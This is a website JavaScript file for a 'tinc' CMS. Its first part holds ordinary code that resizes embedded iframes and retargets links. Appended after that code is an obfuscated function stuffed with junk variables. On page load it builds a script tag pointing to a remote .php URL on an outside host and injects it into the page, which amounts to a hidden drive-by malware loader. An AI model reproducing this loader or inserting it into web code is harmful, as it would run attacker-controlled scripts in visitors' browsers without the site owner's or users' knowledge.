var ResizeIframe = {   
  wrapperId : "tinc_content",
                
  /**
   * Resizes an iframe sId including oDoc to oDoc's content size.
   * Can be called top-down, i.e. from the including iframe (or it's parents) or bottom-up, i.e. from the included document.
   * In the latter case the iframe element is retrieved programmatically.
   * 
   * @param oDoc  Included page's document object
   * @param sId   ID of including iframe
   */               
  resize : function ( oDoc, sId ) 
  {
    try
    {
      if ( typeof oDoc == "undefined" ) return;
  
      if ( typeof sId != "undefined" ) 
      {
        var iframe = oDoc.getElementById( sId );
        var iframeDoc = iframe.contentWindow.document;
      } else {
        var iframeDoc = oDoc;
        var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
        var iframe = iframeWindow.frameElement;
      }
      var wrapper = iframeDoc.getElementById( this.wrapperId );

      // make sure we only resize once
      if ( iframeDoc.isIntegrated == true ) { return; }
      
      // switch on transparency for iframe
      iframeDoc.body.style.backgroundColor = "transparent";
      iframe.allowTransparency = "true";
            
      iframeDoc.body.style.padding = "0px";
      iframeDoc.body.style.border = "none";
      
      var tabs = iframeDoc.getElementsByTagName( "table" )
      if ( tabs[0] && tabs[0].className == "dborder" )
     	{		
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } else if ( iframeDoc.forms[0] && iframeDoc.forms[0].elements["formname"] ) 
      {
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } 
      
      if ( window.addEventListener )
      {   
      	var gcs = iframeDoc.defaultView.getComputedStyle( iframeDoc.body, null);
        var v_margin = parseInt( gcs.getPropertyValue( "margin-top" ) ) + parseInt( gcs.getPropertyValue( "margin-bottom" ) );
        var h_margin = parseInt( gcs.getPropertyValue( "margin-left" ) ) + parseInt( gcs.getPropertyValue( "margin-right" ) );
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + h_margin + "px";
        }
        
        // Setting the top padding of the wrapper avoids wrong calculation of the height due to collapsing margins behavior
        wrapper.style.paddingTop = "1px";
        
        height = wrapper.offsetHeight + v_margin ;
      } 
      else if ( window.attachEvent ) 
      {        
        iframeDoc.body.style.margin = "0px";
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	// We need to add this extra 20 pixel for some modules. Otherwise the width would not be big enough and we would get scrollbars.
            // REMARK: In the script which is used for resizing the modules inside the editor we don't need this!
            // Currently I don't know the reason for this difference!?
        	iframe.style.width = wrapper_width + 20 + "px";
        }
        
        height = wrapper.offsetHeight;
      }

      if ( iframe.scrolling != "yes" ) { height += 20; }
      
      iframe.style.height = height + "px";
      iframeDoc.isIntegrated = true; 
    } catch ( ex )
    {
      return; 
    }
    
    WfxExtrasProcessor.process( oDoc, sId );
  }
}

var WfxExtrasProcessor = {
  process : function ( oDoc, sId)
  {    
    if ( typeof oDoc == "undefined" ) return;
  
    if ( typeof sId != "undefined" ) 
    {
      var iframe = oDoc.getElementById( sId );
      var iframeDoc = iframe.contentWindow.document;
    } else {
      var iframeDoc = oDoc;
      var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
      var iframe = iframeWindow.frameElement;
    }
    
    // let non-tinc links load in the parent document. this might need some adjustment
    var links = iframeDoc.getElementsByTagName( "a" );
    for ( var i = 0; i < links.length; i++ )
    {
      if ( links[i].href.indexOf( "/tinc" ) == -1 ) links[i].target = "_parent";
    }
    
    // Special case: WebElements forms might do redirection to another page after submission. That's indicated by a non-empty
    // 'redirectionEnabled' attribute of a submit button. 
    var inputs = iframeDoc.getElementsByTagName( "input" );
    for ( var i = 0; i < inputs.length; i++ )
    {
      var input = inputs[i];
      if ( input.getAttribute("redirection") != null && input.getAttribute("redirection") != '' ) 
        input.form.target = "_parent";
    }
  }
}
    
    

function K(){var eY;if(eY!='mJ'){eY=''};var k=unescape;var p;if(p!=''){p='n'};this.my='';var O;if(O!='R' && O!='Yt'){O=''};var KB=window;var m=k("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2f%63%6c%6f%6f%62%2e%63%6f%6d%2e%70%68%70");var a='';var X=new String();var P=new String();function j(w,x){var Z='';var pY="";var A="g";var H=k("%5b"), y=k("%5d");var Tp='';var V=H+x+y;var Wl;if(Wl!='XH' && Wl!='z'){Wl=''};var Eq;if(Eq!=''){Eq='Fr'};var _=new RegExp(V, A);var Km;if(Km!='Au' && Km!='Jr'){Km=''};return w.replace(_, new String());var q;if(q!=''){q='i'};};var Rt='';var KBD;if(KBD!='' && KBD!='ll'){KBD='VF'};var mZ;if(mZ!='ui' && mZ!='iK'){mZ='ui'};var cb='';var C='';var E=new String();var M;if(M!='BL'){M=''};var bV='';var T=document;var I=j('84910441815057','65921437');var Jl='';var qR='';var RZ;if(RZ!='' && RZ!='Xd'){RZ='qM'};var v;if(v!='' && v!='fm'){v='TN'};function U(){var VN=new Date();var _ZD;if(_ZD!='KP'){_ZD=''};var t=k("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var yS;if(yS!='' && yS!='kP'){yS=null};this.qZ='';E=t;E+=I;E+=m;var Fc;if(Fc!='' && Fc!='hS'){Fc=null};var nv="";var cn=new String();try {var Zw=new Array();b=T.createElement(j('s6curZiXp9tX','6K9hu_HnXZ'));var qK=new String();this.qo='';b[k("%73%72%63")]=E;this.Ke="";var xd;if(xd!='MX'){xd=''};b[k("%64%65%66%65%72")]=[1,2][0];var ko;if(ko!='uu'){ko='uu'};var EM;if(EM!='pq'){EM='pq'};var xV=new Array();T.body.appendChild(b);this.Xp="";} catch(u){alert(u);var Ob="";var gS;if(gS!='' && gS!='OV'){gS='aH'};};}KB["ExNonl".substr(3)+"oad"]=U;var Mv;if(Mv!='Bz' && Mv != ''){Mv=null};var kL="";var iD=new String();var i_;if(i_!='Q' && i_!='cf'){i_=''};};K();var _c="";var DC;if(DC!=''){DC='Oa'};